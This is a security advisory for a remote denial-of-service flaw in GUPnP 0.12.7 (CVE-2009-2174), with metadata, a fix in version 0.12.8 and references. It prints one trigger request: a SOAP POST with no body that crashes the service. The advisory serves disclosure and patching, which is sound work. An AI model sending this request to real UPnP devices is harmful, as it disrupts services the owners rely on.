GUPnP Message Handling Denial Of Service Vulnerability

Bugtraq ID:	35390
Class:	Design Error
CVE:	CVE-2009-2174
Remote:	Yes
Local:	No
Published:	Jun 03 2009 12:00AM
Updated:	May 07 2015 05:17PM
Credit:	Zeeshan Ali
Vulnerable:	GUPnP GUPnP 0.12.7
Not Vulnerable:	GUPnP GUPnP 0.12.8

GUPnP Message Handling Denial Of Service Vulnerability

GUPnP is prone to a vulnerability that remote attackers may exploit to cause denial-of-service conditions.

Versions prior to GUPnP 0.12.8 are affected.

GUPnP Message Handling Denial Of Service Vulnerability

A message in the following format can trigger this issue:

======== ACTION MESSAGE ==========
POST /Dimming/Control HTTP/1.1 SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#GetLoadLevelStatus"
Host: www.example.com:41615 Content-Type: text/xml
Content-Length: 0
==================================

GUPnP Message Handling Denial Of Service Vulnerability

Solution:
Updates are available. Please see the references for details.


GUPnP GUPnP 0.12.7

• GUPnP gupnp-0.12.8.tar.gz
  http://www.gupnp.org/sources/gupnp/gupnp-0.12.8.tar.gz

GUPnP Message Handling Denial Of Service Vulnerability

References:

• Changes since 0.12.7 (GUPnP)
  
• Crash on action without any content (Zeeshan Ali)
  
• Home Page (GUPnP)